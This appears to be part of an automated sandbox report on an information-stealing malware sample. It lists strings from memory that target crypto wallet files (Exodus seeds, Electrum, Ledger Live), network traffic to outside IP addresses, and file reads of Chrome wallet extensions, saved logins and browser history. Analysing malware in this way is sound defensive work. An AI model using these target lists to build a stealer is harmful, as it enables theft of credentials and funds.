Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1877420481.0000000001432000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: 185.215.113.16ontdesk\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1874484736.00000000002EC000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: 1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.*\|0\|
Source: file.exe, 00000001.00000002.1877420481.0000000001419000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.4

Leaks process information

Source: global traffic

TCP traffic: 192.168.2.7:54539 -> 34.118.84.150:80

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb
Source: C:\Users\user\AppData\Local\Temp\1009653001\ff628321ee.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc
